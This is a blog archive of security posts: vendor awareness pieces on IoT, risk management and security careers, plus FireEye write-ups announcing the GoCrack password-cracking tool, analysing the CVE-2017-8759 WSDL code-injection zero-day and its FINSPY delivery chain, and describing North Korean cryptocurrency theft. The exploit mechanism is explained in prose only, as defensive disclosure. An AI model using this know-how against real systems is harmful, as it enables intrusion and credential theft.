Category Archives: Blog

Best Practices for Keeping Tabs on Your Apps

Let’s start this conversation out with the definition of device. The list of what constitutes one is growing. For now, let’s say that you have a home computer (desktop, laptop, or both), work computer (desktop, laptop, or both), home tablet, work tablet, personal smartphone, and work smartphone. This is a pretty extensive list of devices that an adversary could use to attack you professionally and personally. But what about your Amazon Alexa or gadgets, smart toys, and smart clocks? What about Google Assistant or Microsoft Cortana? Do you also have a SmartTV? What about NEST, Wink, WeMo, SensorPush, Neurio, ecobee4, Philips Hue, Smart Lock, GarageMate? Hoo boy! The list of connected devices goes on and on.

Are all of these devices safe to use? Well, the simple answer is no—unless you specifically paid attention to its security. Also, for your smart devices that work via voice control, do you know who might be listening on the other end? To make things worse, many of these devices are also used in the corporate world, because they are easy to deploy, and are very affordable.

What about applications? Did the developer that created the application you are using ensure they used good secure coding techniques? Or is there a likelihood they introduced a flaw in their code? Are the servers for the application you are running in the cloud secure? Is the data you are storing on these cloud systems protected from unauthorized access?

All really good questions we rarely ask ourselves—at least before we use the latest and coolest applications available. We all make risk-based decisions every day, but do we ever ensure we have all the data before we make that risk-based decision?

What Can You Do?

Start by doing whatever homework and research you can. Make sure you understand the social engineering methods that the malicious actors are currently using. Unsolicited phone calls from a government agency (like the IRS), a public utility, or even Microsoft or Apple are not legitimate. No you don’t owe back taxes, no your computer has not been hacked, no you don’t need to give out sensitive personal information to your power company over the phone.

How Can You Choose Safe Applications?

Simply Google “Is this <name of application> secure?” Never install an application that you don’t feel you can trust. Using an application is all about risk management. Make sure you understand the potential risk to device and data compromise, prior to choosing to use it.

How Can You Better Secure Your Home Network?

  1. Upon installation of any device, immediately change the login and password. These are often stored in the configuration files that come with the product, therefore are easy to look up.
  2. Change the login and password on your home Wi-Fi router frequently.
  3. Ensure the software for anything that connects is up to date.
  4. Make sure you have a clear sense of where your sensitive data is stored—and how it is protected. Is it adequately protected—or, better yet, encrypted?
  5. When in doubt, don’t connect an IoT device to the Internet.

Lastly, look at some solutions that can be added to your home Wi-Fi network, that provide additional layers of protection and detection against IoT and other advanced attacks. F-Secure Sense Gadget is one such solution, as is Luma smart Wi-Fi router, Dojo, and CUJO. Dojo, for example, monitors all incoming and outgoing traffic and performs analysis looking for malicious traffic. With known weaknesses in IoT and home networks in general, solutions like the above are a good investment.

Don’t Give Hackers Easy Access

Not long ago, a casino in the Northeast had a fish tank in their lobby. To make management of the fish tank easier, they installed an IoT-enabled thermostatic control to set and monitor water temperature in the tank. The thermostatic control was connected to their internal network, as well as IoT-enabled to allow easy access from anywhere on the Internet. The device was breached from the Internet by malicious actors, and the internal network was penetrated, allowing the hackers to steal information from a high-roller database before devices monitoring the network were able to identify the unauthorized data leaving the network and shut it down. A classic case of what can happen without the right due diligence.

Try and follow this motto. Just because you can, does not mean you should. The latest shiny IT gadget that will make you seem cool, or potentially make some portion of your life easier to manage, should be evaluated thoroughly for security weaknesses, before you turn it on and open it up to the world. Make that good risk-based decision. Not many of us would consider doing this: “Hey Alexa, open up my desktop computer so that all my sensitive data is opened for all the world to see.” Or would we?

The post Best Practices for Keeping Tabs on Your Apps appeared first on Connected.

Cyber Security: Three Parts Art, One Part Science

As I reflect upon my almost 40 years as a cyber security professional, I think of the many instances where the basic tenets of cyber security—those we think have common understanding—require a lot of additional explanation. For example, what is a vulnerability assessment? If five cyber professionals are sitting around a table discussing this question, you will end up with seven or eight answers. One will say that a vulnerability assessment is vulnerability scanning only. Another will say an assessment is much bigger than scanning, and addresses ethical hacking and internal security testing. Another will say that it is a passive review of policies and controls. All are correct in some form, but the answer really depends on the requirements or criteria you are trying to achieve. And it also depends on the skills and experience of the risk owner, auditor, or assessor. Is your head spinning yet? I know mine is! Hence the “three parts art.”

There is quite a bit of subjectivity in the cyber security business. One auditor will look at evidence and agree you are in compliance; another will say you are not. If you are going to protect sensitive information, do you encrypt it, obfuscate it, or segment it off and place it behind very tight identification and access controls before allowing users to access the data? Yes. As we advise our client base, it is essential that we have all the context necessary to make good risk-based decisions and recommendations.

Let’s talk about Connection’s artistic methodology. We start with a canvas that has the core components of cyber security: protection, detection, and reaction. By addressing each of these three pillars in a comprehensive way, we ensure that the full conversation around how people, process, and technology all work together to provide a comprehensive risk strategy is achieved.

Protection:

People
Users understand threat and risk, and know what role they play in the protection strategy. For example, if you see something, say something. Don’t let someone surf in behind you through a badge check entry. And don’t think about trying to shut off your end-point anti-virus or firewall.

Process
Policy are established, documented, and socialized. For example, personal laptops should never be connected to the corporate network. Also, don’t send sensitive information to your personal email account so you can work from home.

Technology
Some examples of the barriers used to deter attackers and breaches are edge security with firewalls, intrusion detection and prevention, sandboxing, and advanced threat detection.

Detection:

The average mean time to identify an active incident in a network is 197 days. The mean time to contain an incident is 69 days.

People
Incident response teams need to be identified and trained, and all employees need to be trained on the concept of “if you see something, say something.” Detection is a proactive process.

Process
What happens when an alert occurs? Who sees it? What is the documented process for taking action?

Technology
What is in place to ensure you are detecting malicious activity? Is it configured to ignore noise and only alert you of a real event? Will it help you bring that 197-day mean time to detection way down?

Reaction:

People
What happens when an event occurs? Who responds? How do you recover? Does everyone understand their role? Do you War Game to ensure you are prepared WHEN an incident occurs?

Process
What is the documented process to reduce the Kill Chain—the mean time to detect and contain—from 69 days to 69 minutes? Do you have a Business Continuity and Disaster Recovery Plan to ensure the ability to react to a natural disaster, significant cyber breach such as ransomware, DDoS, or—dare I say it—a pandemic?

Technology
What cyber security consoles have been deployed that allow quick access to patch a system, change a firewall rule, switch ACL, or policy setting at an end point, or track a security incident through the triage process?

All of these things are important to create a comprehensive InfoSec Program. The science is the technology that will help you build a layered, in-depth defense approach. The art is how to assess the threat, define and document the risk, and create a strategy that allows you to manage your cyber risk as it applies to your environment, users, systems, applications, data, customers, supply chain, third party support partners, and business process.

More Art: Are You a Risk Avoider or Risk Transference Expert?

A better way to state that is, “Do you avoid all risk responsibility or do you give your risk responsibility to someone else?” Hint: I don’t believe in risk avoidance or risk transference.

Yes, there is an art to risk management. There is also science if you use, for example, The Carnegie Mellon risk tools. But a good risk owner and manager documents risk, prioritizes it by risk criticality, turns it into a risk register or roadmap plan, remediates what is necessary, and accepts what is reasonable from a business and cyber security perspective. Oh, by the way, those same five cyber security professional we talked about earlier? They have 17 definitions of risk.

As we wrap up this conversation, let’s talk about the importance of selecting a risk framework. It’s kind of like going to a baseball game and recognizing the program helps you know the players and the stats. What framework will you pick? Do you paint in watercolors or oils? Are you a National Institute of Standards (NIST) artist, an Internal Standards Organization artist, or have you developed your own framework like the Nardone puzzle chart? I developed this several years ago when I was the CTO/CSO of the Commonwealth of Massachusetts. It has been artistically enhanced over the years to incorporate more security components, but it is loosely coupled on the NIST 800-53 and ISO 27001 standards.

When it comes to selecting a security framework as a CISO, I lean towards the NIST Cyber Security Framework (CSF) pictured below. This framework is comprehensive, and provides a scoring model that allows risk owners to measure and target what risk level they believe they need to achieve based on their business model, threat profile, and risk tolerance. It has five functional focus areas. The ISO 27001 framework is also a very solid and frequently used model. Both of these frameworks can result in a Certificate of Attestation demonstrating adherence to the standard. Many commercial corporations do an annual ISO 27001 assessment for that very reason. More and more are leaning towards the NIST CSF, especially commercial corporations doing work with the government.

The art in cyber security is in the interpretation of the rules, standards, and requirements that are primarily based on a foundation in science in some form. The more experience one has in the cyber security industry, the more effective the art becomes. As a last thought, keep in mind that Connection’s Technology Solutions Group Security Practice has over 150 years of cyber security expertise on tap to apply to that art.

The post Cyber Security: Three Parts Art, One Part Science appeared first on Connected.

Businesses Beware: Top 5 Cyber Security Risks

Hackers are working hard to find new ways to get your data. It’s not surprising that cyber security risk is top of mind for every risk owner, in every industry. As the frequency and complexity of malicious attacks persistently grows, every company should recognize that they are susceptible to an attack at any time—whether it comes as an external focused attack, or a social engineering attack. Let’s take a look at the top 5 risks that every risk owner should be preparing for.

  1. Your Own Users. It is commonly known, in the security industry, that people are the weakest link in the security chain. Despite whatever protections you put in place from a technology or process/policy point of view, human error can cause an incident or a breach. Strong security awareness training is imperative, as well as very effective documented policies and procedures. Users should also be “audited” to ensure they understand and acknowledge their role in policy adherence. One area that is often overlooked is the creation of a safe environment, where a user can connect with a security expert on any issue they believe could be a problem, at any time. Your security team should encourage users to reach out. This creates an environment where users are encouraged to be part of your company’s detection and response. To quote the Homeland Security announcements you frequently hear in airports, “If you see something, say something!” The biggest threat to a user is social engineering—the act of coercing a user to do something that would expose sensitive information or a sensitive system.
  2. Phishing. Phishing ranks number three in both the 2018 Verizon Data Breach Investigation Report Top 20 action varieties in incidents and Top 20 action varieties in breaches. These statistics can be somewhat misleading. For example, the first item on the Top 20 action varieties in breaches list is the use of stolen credentials; number four is privilege abuse. What better way to execute both of those attacks than with a phishing scam. Phishing coerces a user through email to either click on a link, disguised as a legitimate business URL, or open an attachment that is disguised as a legitimate business document. When the user executes or opens either, bad things happen. Malware is downloaded on the system, or connectivity to a Command and Control server on the Internet is established. All of this is done using standard network communication and protocols, so the eco-system is none the wiser—unless sophisticated behavioral or AI capabilities are in place. What is the best form of defense here? 1.) Do not run your user systems with administrative rights. This allows any malicious code to execute at root level privilege, and 2.) Train, train, and re-train your users to recognize a phishing email, or more importantly, recognize an email that could be a phishing scam. Then ask the right security resources for help. The best mechanism for training is to run safe targeted phishing campaigns to verify user awareness either internally or with a third-party partner like Connection.
  3. Ignoring Security Patches. One of the most important functions any IT or IT Security Organization can perform is to establish a consistent and complete vulnerability management program. This includes the following key functions:
    • Select and manage a vulnerability scanning system to proactively test for flaws in IT systems and applications.
    • Create and manage a patch management program to guard against vulnerabilities.
    • Create a process to ensure patching is completed.
    • Most malicious software is created to target missing patches, especially Microsoft patches. We know that WannaCry and Petya, two devastating attacks, targeted systems that were missing Microsoft MS17-010. Eliminating the “low-hanging-fruit” from the attack strategy, by patching known and current vulnerabilities or flaws, significantly reduces the attack-plane for the risk owner.
  4. Partners. Companies spend a lot of time and energy on Information Security Programs to address external and internal infrastructures, exposed Web services, applications and services, policies, controls, user awareness, and behavior. But they ignore a significant attack vector, which is through a partner channel—whether it be a data center support provider or a supply chain partner. We know that high-profile breaches have been executed through third partner channels, Target being the most prominent.The Target breach was a classic supply chain attack, where they were compromised through one of their HVAC vendors. Company policies and controls must extend to all third-party partners that have electronic or physical access to the environment. Ensure your Information Security Program includes all third partner partners or supply chain sources that connect or visit your enterprise. The NIST Cyber Security Framework has a great assessment strategy, where you can evaluate your susceptibility to this often-overlooked risk.
  5. Data Security. In this day and age, data is the new currency. Malicious actors are scouring the Internet and Internet-exposed corporations to look for data that will make them money. The table below from the 2018 Ponemon Institute 2018 Cost of a Data Breach Report shows the cost of a company for a single record data breach.

Cost for a Single Record Data Breach

The Bottom Line

You can see that healthcare continues to be the most lucrative target for data theft, with $408 per record lost. Finance is nearly half this cost. Of course, we know the reason why this is so. A healthcare record has a tremendous amount of personal information, enabling the sale of more sensitive data elements, and in many cases, can be used to build bullet-proof identities for identity theft. The cost of a breach in the US, regardless of industry, averages $7.9 million per event. The cost of a single lost record in the US is $258.

I Can’t Stress It Enough

Data security should be the #1 priority for businesses of all sizes. To build a data protection strategy, your business needs to:

  • Define and document data security requirements
  • Classify and document sensitive data
  • Analyze security of data at rest, in process, and in motion
  • Pay attention to sensitive data like PII, ePHI, EMR, financial accounts, proprietary assets, and more
  • Identify and document data security risks and gaps
  • Execute a remediation strategy

Because it’s a difficult issue, many corporations do not address data security. Unless your business designed classification and data controls from day one, you are already well behind the power curve. Users create and have access to huge amounts of data, and data can exist anywhere—on premises, user laptops, mobile devices, and in the cloud. Data is the common denominator for security. It is the key thing that malicious actors want access to. It’s essential to heed this warning: Do Not Ignore Data Security! You must absolutely create a data security protection program, and implement the proper policies and controls to protect your most important crown jewels.

Cyber criminals are endlessly creative in finding new ways to access sensitive data. It is critical for companies to approach security seriously, with a dynamic program that takes multiple access points into account. While it may seem to be an added expense, the cost of doing nothing could be exponentially higher. So whether it’s working with your internal IT team, utilizing external consultants, or a mix of both, take steps now to assess your current situation and protect your business against a cyber attack. Stay on top of quickly evolving cyber threats. Reach out to one of our security experts today to close your businesses cyber security exposure gap!

The post Businesses Beware: Top 5 Cyber Security Risks appeared first on Connected.

October Is National Cyber Security Awareness Month: Be Part of Something Big

2018 marks the 15th year of National Cyber Security Awareness Month (NCSAM). The Internet touches every aspect of our lives, and keeping it safe and secure is everyone’s responsibility. You can make a difference by remaining diligent and staying cyber aware. Be part of something big this month. Learn more, be aware, and get involved.

Connection is an official Champion of NCSAM. We’re dedicating the month of October to spreading the word about the importance of cyber security, and providing tools and resources to help you stay safe and secure online.

Each week during October highlights a different cyber security theme, addressing specific challenges and opportunities for change. Stay tuned for information about the top cyber security threats, careers in cyber security, and why it’s everyone’s job to ensure online safety. What are you doing to keep the Internet safer and more secure? Be sure to check back each week to stay informed, and get tips from our experts about how you can participate in keeping everyone safe online.

The post October Is National Cyber Security Awareness Month: Be Part of Something Big appeared first on Connected.

Be a Conscientious Risk Manager

Whether you are a CIO or CISO in the Federal, State or Local, Education, or Commercial Business areas, you are all faced the with same challenge, whether you accept it or not. In the security risk management world, if the malicious actor wants into your network, they will figure out a way to get in. You of course still need to build a comprehensive risk governance and management plan, but that plan must be built on the premise of how you will respond, when the breach occurs.

Having spent 38 years in Information Security, the one constant that I see, is that the individuals who make it their business to steal or disrupt your data, are better funded, better trained, and have unlimited hours to execute their trade. What we hope to achieve is being a half-step behind them at worst case. There is no way to stay in step, and a step ahead is out of the question.

So what does this really mean to the conscientious risk manager. Create a strategy whereby you frequently identify the threat, and measure the risk against that threat in your as-built infrastructure. Test frequently, outside and inside, using he same tools and techniques the malicious actors use. Test user security awareness, as we know it only takes one click of a phishing email malicious link, to potentially bring down and entire enterprise. Measure, document, prioritize, and build a risk roadmap strategy to keep risk mitigation focus on those most critical exploitable areas.

Three Top Security Imperatives
Keep in mind that your top three security imperatives are: Reducing your threat exposure, enhancing your response and recovery times, and increasing security visibility. What does security visibility mean, implementing the people, process, and technology in key security areas, to give you a fighting chance to detect, and react to malicious and advanced persistent threats.

Let’s talk people, process, and technology. We all know users are the weakest link in any security chain. Not because they have sinister intent, although sometimes they do, but primarily because in today’s high-powered technical, mobile, and social world, it is commonplace for a lapse in judgment to occur. We live in a rapid–fire, high-availability, high-output world, and mistakes can and will be made. So make is less commonplace, train and educate often, and monitor closely for when that lapse in judgment occurs.

Process: Again our high-powered technical, mobile, and social world often demands we run at warp speed.  Who has time to document? Well — make the time.  Good documentation to include process, policies and standards, as well as a documented and managed configuration control process, will help keep you more secure. Every process, policy and standard document has to have an assigned owner, has to have a designated review date, and has to have an oversight or governance process. All roles and responsibilities need to be included in the documentation, and the expected outcome needs to be defined. Make the time to prepare and socialize your critical information security program documentation.

Technology: Many risk owners fall prey to purchasing every piece of security technology available, at what I like to call the security “choke points”, end-point, network, edge, gateway, etc. This is just what everyone does. However, why not use the process we discussed above — measure, document, prioritize, and build a risk roadmap strategy — as your guideline for what you purchase and deploy for technology. Ask yourself — what is so wrong with selecting and implementing a product, only after you validate how it will help you manage your documented security risk? Of course the answer to that is — nothing.

Focus on Seamless Collaboration
You have documented your risk, you have prioritized your risk roadmap, and as a result you know the very specific technology, or set of technologies, you need to implement first. Most importantly, your technology selections should focus on products that collaborate in a seamless way. In other words, your end-point, edge, network, gateway, sandbox, etc., security technologies all talk to each other. We call this approach to complete security visibility across the whole landscape, Unified Security Stack. And, don’t forget that all technology must have a people and process component as well.

Good information security risk management and risk governance does not come by accident.  It takes planning and execution. In the end, although you may not keep the bad guy out, you will be better prepared for when.

The post Be a Conscientious Risk Manager appeared first on Connected.

Protecting Critical Infrastructure from Cyber Threats

We’ve made it to week five of National Cyber Security Awareness Month (NCSAM)! The theme this week is “Protecting Critical Infrastructure from Cyber Threats.” The basic infrastructure that supports our daily lives is deeply dependent on the Internet, and, therefore, continually exposed to the risk of new threats and cyber attacks. As security breaches grow in frequency and sophistication every day, it’s crucial to build resiliency and then take steps to protect critical infrastructure to remain safe and secure online.

During the last week of NCSAM, the experts at Connection would like to remind you of the importance of identifying current and future strategies to protect your infrastructure and manage your risk. Cyber security is one of the biggest challenges organizations face today. Regardless of size or industry, every organization must ask themselves, is my security strategy up to date? If your organization is looking to stay on the front line of cyber security, it’s imperative to know how an end-to-end risk management strategy can help you properly secure your infrastructure.

Our security experts have an abundance of experience, and several areas of expertise we can put to work for you. We are committed to keeping your organization safe and secure, and can help design, deploy, and support solutions to address your critical risks and defend your critical infrastructure. For more information, contact one of our security experts today!

The post Protecting Critical Infrastructure from Cyber Threats appeared first on Connected.

NCSAM, Week Five: Protecting Critical Infrastructure

It’s Week 5 of National Cyber Security Awareness Month (NCSAM). This week, the focus is on protecting critical infrastructure—the essential systems that support our daily lives such as the electric grid, financial institutions, and transportation. Unfortunately, attacks on critical infrastructure have become a concern worldwide. A devastating attack isn’t just a theoretical possibility anymore. As we’ve recently seen with Equifax, and other security breaches in healthcare and other industries, the growing threat of serious attacks on critical infrastructure is real. These days, hackers have become much more formidable, and we will undoubtedly see more of these attacks in the future. It’s no longer a matter of if there will be another attack, but when. Let’s celebrate this last week of NCSAM by staying aware and being prepared.

Protecting your infrastructure requires constant vigilance and attention to evolving cyber attacks. Risk is inherent in everything we do, so trying to stay ahead of the cyber security curve is key. Our team of security experts can help you build a security strategy to detect, protect, and react to the complete threat lifecycle. The threats we all need to manage today evolve quickly, and we can help you minimize your risk and maximize your defenses to improve your cyber resiliency. For some expert insight on securing your critical infrastructure, give us a call and discover the Connection difference.

The post NCSAM, Week Five: Protecting Critical Infrastructure appeared first on Connected.

Introducing GoCrack: A Managed Password Cracking Tool

FireEye's Innovation and Custom Engineering (ICE) team released a tool today called GoCrack that allows red teams to efficiently manage password cracking tasks across multiple GPU servers by providing an easy-to-use, web-based real-time UI (Figure 1 shows the dashboard) to create, view, and manage tasks. Simply deploy a GoCrack server along with a worker on every GPU/CPU capable machine and the system will automatically distribute tasks across those GPU/CPU machines.


Figure 1: Dashboard

As readers of this blog probably know, password cracking tools are an effective way for security professionals to test password effectiveness, develop improved methods to securely store passwords, and audit current password requirements. Some use cases for a password cracking tool can include cracking passwords on exfil archives, auditing password requirements in internal tools, and offensive/defensive operations. We’re releasing GoCrack to provide another tool for distributed teams to have in their arsenal for managing password cracking and recovery tasks.

Keeping in mind the sensitivity of passwords, GoCrack includes an entitlement-based system that prevents users from accessing task data unless they are the original creator or they grant additional users to the task. Modifications to a task, viewing of cracked passwords, downloading a task file, and other sensitive actions are logged and available for auditing by administrators. Engine files (files used by the cracking engine) such as Dictionaries, Mangling Rules, etc. can be uploaded as “Shared”, which allows other users to use them in task yet do not grant them the ability to download or edit. This allows for sensitive dictionaries to be used without enabling their contents to be viewed.

Figure 2 shows a task list, Figure 3 shows the “Realtime Status” tab for a task, and Figure 4 shows the “Cracked Passwords” tab.


Figure 2: Task Listing


Figure 3: Task Status


Figure 4: Cracked Passwords Tab

GoCrack is shipping with support for hashcat v3.6+, requires no external database server (via a flat file), and includes support for both LDAP and database backed authentication. In the future, we plan on adding support for MySQL and Postgres database engines for larger deployments, ability to manage and edit files in the UI, automatic task expiration, and greater configuration of the hashcat engine. We’re shipping with Dockerfile’s to help jumpstart users with GoCrack. The server component can run on any Linux server with Docker installed. Users with NVIDIA GPUs can use NVIDIA Docker to run the worker in a container with full access to the GPUs.

GoCrack is available immediately for download along with its source code on the project's GitHub page. If you have any feature requests, questions, or bug reports, please file an issue in GitHub.

ICE is a small, highly trained, team of engineers that incubate and deliver capabilities that matter to our products, our clients and our customers. ICE is always looking for exceptional candidates interested in solving challenging problems quickly. If you’re interested, check out FireEye careers.

The New Security Reality

It’s week 4 of National Security Awareness Month (NCSAM). Each week of NCSAM is dedicated to a specific cybersecurity theme. The theme this week is “The Internet Wants YOU: Consider a Career in Cyber Security.”

With the continuous state of change in the global threat landscape, organizations face cyber attacks and security breaches that are growing in frequency and sophistication every day. But now, consider this: according to a study by the Center for Cyber Safety and Education, there will be a shortage of 1.8 million information security workers by 2022. This gap should be of great concern to organizations.

Skilled people make the difference in protecting sensitive data, so it’s more critical than ever that organizations begin to attract and retain the cybersecurity talent needed to defend against the evolving threat landscape. At Connection, we help inspire individuals coming out of universities to engage in co-op or intern-related opportunities, and I strongly encourage other organizations to see what they can do to help young people today who are really interested in building their skills in this area.

The figures don’t lie. The demand for cyber security will only continue to grow. Through local collaborative efforts between employers, training providers, and community leaders, we can ensure individuals have the opportunity to build on their tech knowledge and participate in a secure, thriving economy.

The post The New Security Reality appeared first on Connected.

Cyber Security Careers Are in High Demand

October is National Cyber Security Awareness Month, which is an annual campaign to raise awareness about the importance of cyber security. Week 4 of NCSAM is all about the growing field of cyber security and why you might want to consider this career.

It’s impossible to overstate the importance of security in today’s digital world. Cyber attacks are growing in frequency and sophistication every day, and a key risk to our economy and security is the lack of professionals to protect our growing networks. According to a study by the Center for Cyber Safety and Education, by 2022, there will be a shortage of 1.8 million information security workers. So, it’s critical that that we begin now to prepare our students—and any others who are interested in making a career move—to fill these gaps. Many colleges and universities have developed information assurance programs that help technical, security-minded students achieve a great foundation in this industry. We also challenge corporations to offer intern and co-op opportunities for students in these degree programs, so they can see what security looks like in practical, business-world applications.

Connection is committed to promoting cyber security and online safety. Join Connection during Week 4 of NCSAM, as we explore cyber security as a viable and rewarding profession and encourage people from all backgrounds to see information security as an essential career path.

Read this next:

 

The post Cyber Security Careers Are in High Demand appeared first on Connected.

FireEye Uncovers CVE-2017-8759: Zero-Day Used in the Wild to Distribute FINSPY,FireEye Uncovers CVE-2017-8759: Zero-Day Used in the Wild to Distribute FINSPY

FireEye recently detected a malicious Microsoft Office RTF document that leveraged CVE-2017-8759, a SOAP WSDL parser code injection vulnerability. This vulnerability allows a malicious actor to inject arbitrary code during the parsing of SOAP WSDL definition contents. Mandiant analyzed a Microsoft Word document where attackers used the arbitrary code injection to download and execute a Visual Basic script that contained PowerShell commands.

FireEye shared the details of the vulnerability with Microsoft and has been coordinating public disclosure timed with the release of a patch to address the vulnerability and security guidance, which can be found here.

FireEye email, endpoint and network products detected the malicious documents.

Vulnerability Used to Target Russian Speakers

The malicious document, “Проект.doc” (MD5: fe5c4d6bb78e170abf5cf3741868ea4c), might have been used to target a Russian speaker. Upon successful exploitation of CVE-2017-8759, the document downloads multiple components (details follow), and eventually launches a FINSPY payload (MD5: a7b990d5f57b244dd17e9a937a41e7f5).

FINSPY malware, also reported as FinFisher or WingBird, is available for purchase as part of a “lawful intercept” capability. Based on this and previous use of FINSPY, we assess with moderate confidence that this malicious document was used by a nation-state to target a Russian-speaking entity for cyber espionage purposes. Additional detections by FireEye’s Dynamic Threat Intelligence system indicates that related activity, though potentially for a different client, might have occurred as early as July 2017.

CVE-2017-8759 WSDL Parser Code Injection

A code injection vulnerability exists in the WSDL parser module within the PrintClientProxy method (http://referencesource.microsoft.com/ - System.Runtime.Remoting/metadata/wsdlparser.cs,6111). The IsValidUrl does not perform correct validation if provided data that contains a CRLF sequence. This allows an attacker to inject and execute arbitrary code. A portion of the vulnerable code is shown in Figure 1.


Figure 1: Vulnerable WSDL Parser

When multiple address definitions are provided in a SOAP response, the code inserts the “//base.ConfigureProxy(this.GetType(),” string after the first address, commenting out the remaining addresses. However, if a CRLF sequence is in the additional addresses, the code following the CRLF will not be commented out. Figure 2 shows that due to lack validation of CRLF, a System.Diagnostics.Process.Start method call is injected. The generated code will be compiled by csc.exe of .NET framework, and loaded by the Office executables as a DLL.


Figure 2: SOAP definition VS Generated code

The In-the-Wild Attacks

The attacks that FireEye observed in the wild leveraged a Rich Text Format (RTF) document, similar to the CVE-2017-0199 documents we previously reported on. The malicious sampled contained an embedded SOAP monikers to facilitate exploitation (Figure 3).


Figure 3: SOAP Moniker

The payload retrieves the malicious SOAP WSDL definition from an attacker-controlled server. The WSDL parser, implemented in System.Runtime.Remoting.ni.dll of .NET framework, parses the content and generates a .cs source code at the working directory. The csc.exe of .NET framework then compiles the generated source code into a library, namely http[url path].dll. Microsoft Office then loads the library, completing the exploitation stage.  Figure 4 shows an example library loaded as a result of exploitation.


Figure 4: DLL loaded

Upon successful exploitation, the injected code creates a new process and leverages mshta.exe to retrieve a HTA script named “word.db” from the same server. The HTA script removes the source code, compiled DLL and the PDB files from disk and then downloads and executes the FINSPY malware named “left.jpg,” which in spite of the .jpg extension and “image/jpeg” content-type, is actually an executable. Figure 5 shows the details of the PCAP of this malware transfer.


Figure 5: Live requests

The malware will be placed at %appdata%\Microsoft\Windows\OfficeUpdte-KB[ 6 random numbers ].exe. Figure 6 shows the process create chain under Process Monitor.


Figure 6: Process Created Chain

The Malware

The “left.jpg” (md5: a7b990d5f57b244dd17e9a937a41e7f5) is a variant of FINSPY. It leverages heavily obfuscated code that employs a built-in virtual machine – among other anti-analysis techniques – to make reversing more difficult. As likely another unique anti-analysis technique, it parses its own full path and searches for the string representation of its own MD5 hash. Many resources, such as analysis tools and sandboxes, rename files/samples to their MD5 hash in order to ensure unique filenames. This variant runs with a mutex of "WininetStartupMutex0".

Conclusion

CVE-2017-8759 is the second zero-day vulnerability used to distribute FINSPY uncovered by FireEye in 2017. These exposures demonstrate the significant resources available to “lawful intercept” companies and their customers. Furthermore, FINSPY has been sold to multiple clients, suggesting the vulnerability was being used against other targets.

It is possible that CVE-2017-8759 was being used by additional actors. While we have not found evidence of this, the zero day being used to distribute FINSPY in April 2017, CVE-2017-0199 was simultaneously being used by a financially motivated actor. If the actors behind FINSPY obtained this vulnerability from the same source used previously, it is possible that source sold it to additional actors.

Acknowledgement

Thank you to Dhanesh Kizhakkinan, Joseph Reyes, FireEye Labs Team, FireEye FLARE Team and FireEye iSIGHT Intelligence for their contributions to this blog. We also thank everyone from the Microsoft Security Response Center (MSRC) who worked with us on this issue.

Why Is North Korea So Interested in Bitcoin?,Why Is North Korea So Interested in Bitcoin?

In 2016 we began observing actors we believe to be North Korean utilizing their intrusion capabilities to conduct cyber crime, targeting banks and the global financial system. This marked a departure from previously observed activity of North Korean actors employing cyber espionage for traditional nation state activities. Yet, given North Korea's position as a pariah nation cut off from much of the global economy – as well as a nation that employs a government bureau to conduct illicit economic activity – this is not all that surprising. With North Korea's tight control of its military and intelligence capabilities, it is likely that this activity was carried out to fund the state or personal coffers of Pyongyang's elite, as international sanctions have constricted the Hermit Kingdom.

Now, we may be witnessing a second wave of this campaign: state-sponsored actors seeking to steal bitcoin and other virtual currencies as a means of evading sanctions and obtaining hard currencies to fund the regime. Since May 2017, Mandiant experts observed North Korean actors target at least three South Korean cryptocurrency exchanges with the suspected intent of stealing funds. The spearphishing we have observed in these cases often targets personal email accounts of employees at digital currency exchanges, frequently using tax-themed lures and deploying malware (PEACHPIT and similar variants) linked to North Korean actors suspected to be responsible for intrusions into global banks in 2016.

Add to that the ties between North Korean operators and a watering hole compromise of a bitcoin news site in 2016, as well as at least one instance of usage of a surreptitious cryptocurrency miner, and we begin to see a picture of North Korean interest in cryptocurrencies, an asset class in which bitcoin alone has increased over 400% since the beginning of this year.

2017 North Korean Activity Against South Korean Cryptocurrency Targets

  • April 22 – Four wallets on Yapizon, a South Korean cryptocurrency exchange, are compromised. (It is worth noting that at least some of the tactics, techniques, and procedures were reportedly employed during this compromise were different than those we have observed in following intrusion attempts and as of yet there are no clear indications of North Korean involvement).
  • April 26 – The United States announces a strategy of increased economic sanctions against North Korea. Sanctions from the international community could be driving North Korean interest in cryptocurrency, as discussed earlier.
  • Early May – Spearphishing against South Korean Exchange #1 begins.
  • Late May – South Korean Exchange #2 compromised via spearphish.
  • Early June – More suspected North Korean activity targeting unknown victims, believed to be cryptocurrency service providers in South Korea.
  • Early July – South Korean Exchange #3 targeted via spear phishing to personal account.

Benefits to Targeting Cryptocurrencies

While bitcoin and cryptocurrency exchanges may seem like odd targets for nation state actors interested in funding state coffers, some of the other illicit endeavors North Korea pursues further demonstrate interest in conducting financial crime on the regime’s behalf. North Korea's Office 39 is involved in activities such as gold smuggling, counterfeiting foreign currency, and even operating restaurants. Besides a focus on the global banking system and cryptocurrency exchanges, a recent report by a South Korean institute noted involvement by North Korean actors in targeting ATMs with malware, likely actors at the very least supporting similar ends.

If actors compromise an exchange itself (as opposed to an individual account or wallet) they potentially can move cryptocurrencies out of online wallets, swapping them for other, more anonymous cryptocurrencies or send them directly to other wallets on different exchanges to withdraw them in fiat currencies such as South Korean won, US dollars, or Chinese renminbi. As the regulatory environment around cryptocurrencies is still emerging, some exchanges in different jurisdictions may have lax anti-money laundering controls easing this process and make the exchanges an attractive tactic for anyone seeking hard currency.

Conclusion

As bitcoin and other cryptocurrencies have increased in value in the last year, nation states are beginning to take notice. Recently, an advisor to President Putin in Russia announced plans to raise funds to increase Russia's share of bitcoin mining, and senators in Australia's parliament have proposed developing their own national cryptocurrency.

Consequently, it should be no surprise that cryptocurrencies, as an emerging asset class, are becoming a target of interest by a regime that operates in many ways like a criminal enterprise. While at present North Korea is somewhat distinctive in both their willingness to engage in financial crime and their possession of cyber espionage capabilities, the uniqueness of this combination will likely not last long-term as rising cyber powers may see similar potential. Cyber criminals may no longer be the only nefarious actors in this space.

Remote Symbol Resolution

Introduction

The following blog discusses a couple of common techniques that malware uses to obscure its access to the Windows API. In both forms examined, analysts must calculate the API start address and resolve the symbol from the runtime process in order to determine functionality.

After introducing the techniques, we present an open source tool we developed that can be used to resolve addresses from a process running in a virtual machine by an IDA script. This gives us an efficient way to quickly add readability back into the disassembly. 

Techniques

When performing an analysis, it is very common to see malware try to obscure the API it uses. As a malware analyst, determining which API is used is one of the first things we must resolve in order to determine the capabilities of the code.

Two common obfuscations we are going to look at in this blog are encoded function pointer tables and detours style hook stubs. In both of these scenarios the entry point to the API is not directly visible in the binary.

